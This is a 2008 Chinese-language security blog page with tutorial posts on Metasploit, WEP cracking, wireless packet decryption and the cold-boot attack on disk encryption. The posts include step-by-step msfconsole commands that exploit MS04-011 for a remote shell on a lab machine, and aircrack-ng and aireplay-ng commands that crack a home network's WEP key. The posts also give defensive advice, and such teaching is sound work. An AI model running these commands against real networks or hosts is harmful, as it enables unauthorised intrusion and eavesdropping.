搜尋此網誌

顯示具有 Attack 標籤的文章。 顯示所有文章
顯示具有 Attack 標籤的文章。 顯示所有文章

2008年12月1日 星期一

Metasploit 初體驗

最近在看Metasploit這個套件,最簡單的說法,Metasploit提供滲透測試者一個整合的環境,進行相關的任務。當然,Metasploit因為提供了良好的擴充性,所以也可以成為安全研究人員研究弱點的工具。而且最重要的是,這是免費使用而且是Open Source的工具。

雖然Metasploit比不上一些商業軟體,提供了高度自動化的滲透測試,但是相對來說彈性就更大。而且執行一個基本的測試,其實也不複雜,大概的流程如下:
  1. 選擇已知的漏洞(Exploit)。
  2. 選擇目標(Target)。這裡所謂的目標並不是哪一台/群電腦設備,而是指定設備的作業系統。因為不同的作業系統有不同的弱點與攻擊方式。
  3. 選擇攻擊的指令內容(Payload)。
  4. 設定其他相關參數(Option)。
  5. 進行測試(Explotation)。有兩種方式,一種是Check,並不會實際進行攻擊行為,所以不會造成被攻擊電腦設備的損害,但是準確性不高,而且不是所有的弱點都可以用此方式加以測試。另外一種是Exploit,也就是真正進行攻擊的行為,不會有誤判的問題,但是不小心可能會把電腦設備搞掛。
當然在執行1之前,我們必須有可能被攻擊目標的清單。除了手動額外執行相關的偵測行為外,更方便的是可以透過與nmap/nessus整合的功能,直接將nmap/nessus檢測的結果作為後續檢測的資料來源。

以下我用一個簡單的例子說明實際的操作方式(使用BackTrack 3.0就內建了Metasploit,而不需要自行安裝):
  1. 使用msfconsole,進入後會顯示版本與其他相關資訊。除了msfconsole外,也提供了msfweb(透過瀏覽器操作)。另外還有msfcli,可以與其他script結合而達到自動化。基本上我喜歡打指令的方式,不過msfweb有搜尋的功能,這部分在msfconsole上並沒有提供。鍵入help可以看到所有的指令。
  2. 選擇Exploits,在例子中我們使用ms04-11 (use windows/smb/ms04_11_lsass) 這個漏洞。這個漏洞主要針對Microsoft Windows 2000與早期的Microsoft Windows XP版本。執行後提示符號也改成相對應的文字。
  3. 查詢包含此漏洞的作業系統 (show targets)。
  4. 設定目標為Microsoft Windows 2000 (set target 1),此主機是我為了測試特別安裝的系統。如果不確定其作業系統,可以設定為自動偵測 (0)。不過我在實際的執行上,發現並不是100%準確,而有時候會影響到測試的結果。
  5. 選擇攻擊的指令,在範例中我們選擇建立一個tcp的連線,並開啟一個shell (set PAYLOAD windows/shell/bind_tcp)。
  6. 查詢其他相關所需的參數 (show options),有些參數為必須設定(Required欄位為yes),有些則可由使用者自行決定。此漏洞需要指定被攻擊電腦設備的IP位址(RHOST),我們設定為192.168.0.14 (set RHOST 192.168.0.14)。
  7. 進行實際的攻擊(exploit),顯示攻擊成功後開啟遠端作業系統的shell。
  8. 執行ipconfig(遠端作業系統的指令),顯示確實為192.168.0.14這台電腦設備。
當然,Microsoft Windows 2000是很早期的作業系統,在一般的環境下比較少見了。但是Microsoft Windows XP SP3呢?大概還是目前佔有率最高的作業系統。同樣透過Metasploit,我們可以攻擊Microsoft Windows XP SP3相關的漏洞。簡單嗎?看下面的範例就知道了。
可怕嗎?也許吧。這類的工具會不斷的進化,不但讓"好人"進行測試的門檻降低,也讓"壞人"進行破壞更加方便。我們該做的,還是做好原本就應該進行的保護措施,例如定期/主動進行更新。有多少人可以做到呢?根據一份報告顯示,只有不到2%的人辦到了。希望你我都是那2%的一份子。

2008年11月26日 星期三

無線網路封包擷取

在之前的文章 - WEP Cracking - 中我談到如何破解WEP的金鑰。破解金鑰之後有甚麼用途?
  1. 可以加入無線網路成為其中的一份子,然後"使用"其內部的相關網路資源。
  2. 可以透過此一無線網路對其他網際網路的主機進行"非法存取"。
  3. 可以竊取此一無線網路上所傳遞的資訊。
  4. 可以監看此一無線網路上的使用狀況。
基本上3跟4是類似的事情,不過4是屬於合法的使用,而3則屬於非法的行為。在此我不鼓勵也不從事非法的行為(項目1-3),所以我這次要談的是4的應用。

還記得上次我們在破解WEP金鑰的時候,有產生一個封包的紀錄檔 (wifi-01.cap)。這個檔案紀錄了當時所擷取到的封包,只不過封包的內容是經過WEP加密的。aircrack-ng有一個工具,可以幫我們進行解密的動作。指令為
airdecap-ng -e 00:XX:XX:XX:XX:3C -w 61xxxxxxxxxxxxxxxxxxxxxxxx wifi-01.cap
其中61xxxxxxxxxxxxxxxxxxxxxxxx就是WEP的金鑰,唯必須使用16進位的方式加以表示。解密後的封包會寫入wifi-01-dec.cap,這個檔案就可以直接用packet analyzer(如wireshark)打開並觀看到其中的原始內容了。

不過上述方式需要手動執行兩個分別的動作,而且不能夠即時看到封包內容,很明顯跟我們熟悉的方式有一段差距。幸運的是,有不少工具可以即時對WEP進行解密,並顯示封包的內容,其中包含最好用的免費軟體之一 - wireshark。實際上,wireshark不只能夠解開WEP的加密,也可以解開WPA的加密方式。方法如下:

  1. 打開wireshark。
  2. 選擇Edit->Preferences,其中左方有一個IEEE 802.11的設定畫面,把我們所知道的WEP金鑰鍵入,同樣要使用16進位的格式。
  3. 選擇"OK"完成設定。
  4. 進行監測,可以即時看到解密後的封包。
  5. 當封包數量過多而你只想要觀看單一電腦的封包,同樣可以透過filter的方式。如果你使用Capture Filter的話,要記得必須使用MAC Address的方式加以設定,而不能使用IP Address。那是因為解密前只有MAC Address的資訊可以取得。

2008年11月25日 星期二

WEP Cracking

無線網路(WiFi)的方便性與其帶來的安全危害,一直是一個兩難的問題,尤其對於企業更是如此。其中一個問題,就是WiFi使用的傳輸方式(無線電)不像傳統有線網路那般"不容易"被攔截。任何人只要有一個無線網路的介面(這個已經是筆記性電腦的標準備配),在適當的範圍內,就可以分享你的網路與其上的資訊。而透過一些特殊的工具,可以使用的距離甚至比你想像的還要遠很多。

針對資料容易被監測的問題,當然就是採用加密的方式加以解決。目 前一般有WEP、TKIP(WPA)與CCMP(WPA2)三種。其中WEP因為一些設計的問題,很容易被破解,而WPA於日前也被部分破解了。儘管如 此,有些無線網路仍舊使用WEP的方式,尤其是一些家庭用的無線網路更容易發生。

破解WEP的原理與工具其實已經存在很久了,有些(如 Airsnort)甚至只要一兩個步驟就可以加以破解。傳統上,破解有線網路的協定可以使用任何支援Ethernet的網路卡,但是對於破解WEP而言, 並不是所有的無線網卡都提供相同的能力。甚至同樣的無線網卡,在不同的組態下,可能都會有不同的效果。

以監測封包而言,傳統網卡使用的是 Promiscuous Mode,以便擷取所有流經線路上的封包。但是對於無線網卡而言,因為同一個地區可能有多個無線網路,所以採用不一樣的方式。無線網卡使用Monitor Mode,以便擷取所有的訊號。又WiFi有多個無線頻道可以使用,所以必須透過頻道輪流掃描的方式擷取封包,或是僅針對特定的頻道擷取封包。所以有可能還是會有漏網之魚(封包)。另外,如果要對無線網路"塞"假造的封包(這樣的動作稱之為Packet Injection),更是需要無線網卡本身有支援這樣的功能才行。所以,儘管相容性已經有大幅的改善,但是還是要有合適的無線網卡,才能夠有效的加以操作。Packet Injection為什麼這麼重要,看了後面的範例你就知道了。

我試過BackTrackWifislax兩 個Live CD,也使用過筆記型電腦與外接的USB無線網卡,各種組合都有其不同的步驟,有些組合甚至可能會有不同的結果。Wifislax預設是採用西班牙文的介面,所以使用上較為不方便,以下的範例我就使用BackTrack 3.0 + ASUS WL-167g + aircrack-ng,無線網路則是使用自己的無線基地台:
  1. 使用BackTrack Live CD開機
  2. 鍵入指令 iwconfig 查看是否有抓到無線網卡。我的無線網卡名稱是rausb0
  3. 鍵入指令 airodump-ng rausb0 查看所有可接受到的基地台訊號。我們的目標是第二個無線基地台,其使用WEP的加密方式。需要特別注意的是BSSID、CH、與ESSID這三個資訊,後面的指令會用到。
  4. 鍵入指令 airmon-ng stop rausb0 以便關閉無線網卡的Monitor模式。
  5. 鍵入指令 iwconfig rausb0 essid Sxxxxxxxxxx key 1234567890123,其中Sxxxxxxxxxx須使用步驟2所看到的ESSID。而1234567890123則隨便填,並非真正的加密金鑰。成功後再次鍵入指令 iwconfig 確認設定生效。
  6. 鍵入指令 ariodump-ng -c 11 -w wifi --bssid 00:XX:XX:XX:XX:3C rausb0 以便擷取封包並記錄到檔案(wifi),以利後續之分析動作。其中11為步驟2中所看到的CH、而00:XX:XX:XX:XX:3C則為步驟2中所看到的BSSID。執行後我們需要特別注意的是Data這個欄位,如果收集到足夠的量就可以了(我收集了200,000個左右)。對於使用中的網路,這個值可能不難達成,但是如果你需要加快收集的速度,或是沒有其他人在使用這個無線網路,你就需要額外多做後面兩個動作,也就是Packet Injection。
  7. 鍵入指令 aireplay-ng -1 0 -a 00:XX:XX:XX:XX:3C -h 00:0A:FD:3A:79:7B -e Sxxxxxxxxxx rausb0 ,對無線基地台做驗證的動作。其中00:XX:XX:XX:XX:3C與Sxxxxxxxxxx請參考步驟2所查到的資訊,而 00:0A:FD:3A:79:7B是為了改變封包所使用的MAC位址,所以亂填即可。
  8. 鍵入指令 aireplay-ng -3 -b 00:XX:XX:XX:XX:3C -h 00:0A:FD:3A:79:7B rausb0 ,對無線基地台進行大量Packet Injection的動作。成功後應該會看到步驟6畫面的Data數值加快成長。
  9. 收集足夠的資料後,停止airodump-ng與aireplay-ng的指令執行。
  10. 鍵入指令 aircrack-ng -n 128 -b 00:XX:XX:XX:XX:3C wifi-01.cap 執行破解WEP金鑰。只要有足夠的量,破解的時間很快(我使用的範例是0秒 )。

所以我們要如何增進無線網路的安全呢?下列簡單的建議事項提供參考(僅就避免無線網路被濫用或監看而言):
  1. 使用較安全的加密協定,如WPA2/CCMP。
  2. 使用MAC Address Filter,限制特定的網卡使用無線網路。不過因為MAC Address並沒有加密,所以有可能被監測到並被竊取。
  3. 將無線網路當作外部的網路,而不是內部網路的一份子。也就是必要時採用VPN的技術,讓無線網路的使用者擁有更高的安全性。
  4. 確認無線基地台的涵蓋範圍,必要時加以限制。
  5. 最重要的是,擁有一個明確的無線網路使用規範。
對於有關無線網路安全較完整的說明,可參考Cisco所發表的文章-Five Ways to Improve Your Wireless Security

2008年5月9日 星期五

硬碟加密技術只不過是另外一個玩具!? - 利用記憶體資料殘存特性破解硬碟加密技術

隨著電腦使用越來越方便,越來越多人把個人重要資料存放在電腦硬碟中。前一陣子吵得沸沸揚揚的陳X希事件,就是一個個人機密資料外洩的受害案例。對個人用戶,機密資料外洩可能就是躲一陣子了事。但是對於企業用戶,事情可能就不是那麼簡單了,嚴重的話,可能連公司都不夠賠。筆記型電腦、USB隨身碟,這些產品使得這類問題更加難以管理。筆記型電腦與USB隨身碟失竊的機會相當高,連帶也使得存在其內的資料受到威脅。現在有一些較高級的商業筆記型電腦配備生物辨識系統,必須原主人才能開機,就是為了避免設備失竊而使得資料遭受濫用。如果電腦本身沒有備配生物辨識系統,一般比較簡單的做法就是採用硬碟加密(透過作業系統或3rd Party的軟體)的技術,將資料經過加密後才存在硬碟內,如此可避免其他人經由非正常管道取得原始的檔案內容。這類的產品很多,也各有不同的訴求重點,不過一個大家共有的訴求重點就是使用更安全的加密演算法。不過學過密碼學的人應該都知道,目前這些常用的演算法,其實最不安全的項目之一就是Key值。只要Key值被取得,甚麼演算法也是沒用。就像你家的門鎖裝的再高級,如果鑰匙被小偷拿到了,除非有其他的安全機制,不然就等於把全家送給小偷了。所以這些廠商應該很小心的保護這些演算法所使用的Key值嗎?嗯...答案似乎是令人失望的。

根據普林斯頓 (Princeton) 一群研究家的研究結果顯示,可以透過讀取記憶體內殘存的Key值,成功破解加密軟體。因為記憶體在斷電之後,裡面的資料並不是隨即消失,而是大約在數秒的時間內漸漸消散。如果將記憶體加以冷卻,資料保留的時間可以更長,也讓有心者有更多的時間取得存放在記憶體內的Key值。這個現象在資訊安全的領域中叫做"Data remanence",大家比較常聽到的應該是硬碟內的檔案內容在檔案刪除後依舊有可能被讀取(即使把磁軌覆寫,仍舊有可能被讀取到原始的內容)。其他包含磁帶、光碟片、磁片等許多記憶性的儲存設備都有這樣的問題。只不過記憶體內資料保留的時間相當短,所以平常較不為人所知。

發生這樣事情的原因,可能有很多個。一個比較有可能的原因是,開發軟體的人並不知道這樣的現象,畢竟資訊人員不是電腦知識的百科全書,更何況這個情況牽扯到了整個電腦執行環境安全的相關議題。另外一個原因是即使廠商知道了這個問題,可能也想不出甚麼好的解法,只好當作不知道或是祈禱在被發現前可以找到有效的解法。後者在業界應該也是蠻常發生的。其實本來就沒有一個安全機制是沒有弱點的,但是如果花了大錢的結果,卻是不堪一擊,那可是令人不勝唏噓啊。對使用者而言,不要完全信賴任何一個安全機制,或許是目前可以常保數位資料平安的不二法門。

原文出處:
Cold boot disk encryption attack is shockingly effective

About